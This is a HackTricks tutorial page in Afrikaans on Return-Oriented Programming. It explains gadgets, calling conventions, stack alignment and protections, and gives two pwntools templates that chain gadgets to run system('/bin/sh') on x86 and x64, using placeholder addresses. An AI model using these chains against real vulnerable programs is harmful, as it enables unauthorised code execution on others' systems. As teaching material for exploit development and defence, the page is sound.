ROP - Return Oriented Programing
Reading time: 10 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Return-Oriented Programming (ROP) is 'n gevorderde eksploitasi tegniek wat gebruik word om sekuriteitsmaatreëls soos No-Execute (NX) of Data Execution Prevention (DEP) te omseil. In plaas daarvan om shellcode in te spuit en uit te voer, benut 'n aanvaller stukke kode wat reeds in die binêre of in gelaaide biblioteke teenwoordig is, bekend as "gadgets". Elke gadget eindig tipies met 'n ret
instruksie en voer 'n klein operasie uit, soos om data tussen registers te beweeg of aritmetiese operasies uit te voer. Deur hierdie gadgets saam te ketting, kan 'n aanvaller 'n payload saamstel om arbitrêre operasies uit te voer, wat effektief NX/DEP beskermings omseil.
Hoe ROP Werk
- Beheervloei Hijacking: Eerstens moet 'n aanvaller die beheervloei van 'n program oorneem, tipies deur 'n buffer overflow te benut om 'n gestoor terugadres op die stapel te oorskry.
- Gadget Ketting: Die aanvaller kies dan versigtig en ketting gadgets om die gewenste aksies uit te voer. Dit kan behels om argumente vir 'n funksie-aanroep op te stel, die funksie aan te roep (bv.
system("/bin/sh")
), en enige nodige opruiming of addisionele operasies te hanteer. - Payload Uitvoering: Wanneer die kwesbare funksie terugkeer, begin dit om die ketting van gadgets uit te voer in plaas daarvan om na 'n wettige ligging terug te keer.
Gereedskap
Tipies kan gadgets gevind word met behulp van ROPgadget, ropper of direk van pwntools (ROP).
ROP Ketting in x86 Voorbeeld
x86 (32-bit) Aanroep konvensies
- cdecl: Die oproeper maak die stapel skoon. Funksie argumente word in omgekeerde volgorde (regs na links) op die stapel gepush. Argumente word van regs na links op die stapel gepush.
- stdcall: Soortgelyk aan cdecl, maar die callee is verantwoordelik vir die skoonmaak van die stapel.
Gadgets Vind
Eerstens, kom ons neem aan ons het die nodige gadgets binne die binêre of sy gelaaide biblioteke geïdentifiseer. Die gadgets waarin ons belangstel, is:
pop eax; ret
: Hierdie gadget pop die boonste waarde van die stapel in dieEAX
register en keer dan terug, wat ons toelaat omEAX
te beheer.pop ebx; ret
: Soortgelyk aan die bogenoemde, maar vir dieEBX
register, wat beheer oorEBX
moontlik maak.mov [ebx], eax; ret
: Beweeg die waarde inEAX
na die geheue ligging wat deurEBX
aangedui word en keer dan terug. Dit word dikwels 'n write-what-where gadget genoem.- Daarbenewens het ons die adres van die
system()
funksie beskikbaar.
ROP Ketting
Met behulp van pwntools, berei ons die stapel voor vir die ROP ketting uitvoering soos volg met die doel om system('/bin/sh')
uit te voer, let op hoe die ketting begin met:
- 'n
ret
instruksie vir uitlijning doeleindes (opsioneel) - Adres van die
system
funksie (veronderstel ASLR gedeaktiveer en bekende libc, meer inligting in Ret2lib) - Plaasvervanger vir die terugadres van
system()
"/bin/sh"
string adres (parameter vir die system funksie)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP-ketting in x64 Voorbeeld
x64 (64-bit) Aanroep konvensies
- Gebruik die System V AMD64 ABI aanroep konvensie op Unix-agtige stelsels, waar die eerste ses heelgetal of wysiger argumente in die registers
RDI
,RSI
,RDX
,RCX
,R8
, enR9
oorgedra word. Bykomende argumente word op die stapel oorgedra. Die terugkeerwaarde word inRAX
geplaas. - Windows x64 aanroep konvensie gebruik
RCX
,RDX
,R8
, enR9
vir die eerste vier heelgetal of wysiger argumente, met bykomende argumente wat op die stapel oorgedra word. Die terugkeerwaarde word inRAX
geplaas. - Registers: 64-bit registers sluit
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, enR8
totR15
in.
Vind Gadgets
Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die RDI register in te stel (om die "/bin/sh" string as 'n argument aan system() oor te dra) en dan die system() funksie aan te roep. Ons neem aan ons het die volgende gadgets geïdentifiseer:
- pop rdi; ret: Popp die boonste waarde van die stapel in RDI en keer dan terug. Essensieel om ons argument vir system() in te stel.
- ret: 'n Eenvoudige terugkeer, nuttig vir stapel-alignment in sommige scenario's.
En ons weet die adres van die system() funksie.
ROP-ketting
Hieronder is 'n voorbeeld wat pwntools gebruik om 'n ROP-ketting op te stel en uit te voer wat daarop gemik is om system('/bin/sh') op x64 uit te voer:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
In hierdie voorbeeld:
- Ons gebruik die
pop rdi; ret
gadget omRDI
op die adres van"/bin/sh"
te stel. - Ons spring direk na
system()
nadat onsRDI
gestel het, met system()'s adres in die ketting. ret_gadget
word gebruik vir uitlijning as die teikenomgewing dit vereis, wat meer algemeen in x64 is om behoorlike stapeluitlijning te verseker voordat funksies aangeroep word.
Stapeluitlijning
Die x86-64 ABI verseker dat die stapel 16-byte uitgelijnd is wanneer 'n call-instruksie uitgevoer word. LIBC, om prestasie te optimaliseer, gebruik SSE-instruksies (soos movaps) wat hierdie uitlijning vereis. As die stapel nie behoorlik uitgelijnd is (wat beteken RSP is nie 'n veelvoud van 16 nie), sal oproepe na funksies soos system misluk in 'n ROP-ketting. Om dit reg te stel, voeg eenvoudig 'n ret gadget by voordat jy system in jou ROP-ketting aanroep.
x86 vs x64 hoof verskil
tip
Aangesien x64 registers vir die eerste paar argumente gebruik, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar om die regte gadgets te vind en te ketting kan meer kompleks wees weens die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in x64 argitektuur bied beide geleenthede en uitdagings vir eksploitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).
ROP-ketting in ARM64 Voorbeeld
ARM64 Basiese beginsels & Oproep konvensies
Kyk na die volgende bladsy vir hierdie inligting:
Beskerming teen ROP
- ASLR & PIE: Hierdie beskermings maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.
- Stack Canaries: In die geval van 'n BOF, is dit nodig om die stoor stapelkanarie te omseil om terugwysers te oorskry om 'n ROP-ketting te misbruik.
- Gebrek aan Gadgets: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.
ROP-gebaseerde tegnieke
Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op ROP is 'n klomp Ret2XXX-tegnieke ontwikkel:
- Ret2lib: Gebruik ROP om arbitrêre funksies van 'n gelaaide biblioteek met arbitrêre parameters aan te roep (gewoonlik iets soos
system('/bin/sh')
.
- Ret2Syscall: Gebruik ROP om 'n oproep na 'n syscall, bv.
execve
, voor te berei en dit te laat uitvoer arbitrêre opdragte.
- EBP2Ret & EBP Ketting: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (alhoewel dit ook nodig is om EIP te beheer).
Stack Pivoting - EBP2Ret - EBP chaining
Ander Voorbeelde & Verwysings
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie en nx geaktiveer, geen kanarie, oorskry RIP met 'n
vsyscall
adres met die uitsluitlike doel om na die volgende adres in die stapel te keer wat 'n gedeeltelike oorskryding van die adres sal wees om die deel van die funksie te kry wat die vlag lek. - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, geen ASLR, ROP gadget om stapel uitvoerbaar te maak en na shellcode in die stapel te spring.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.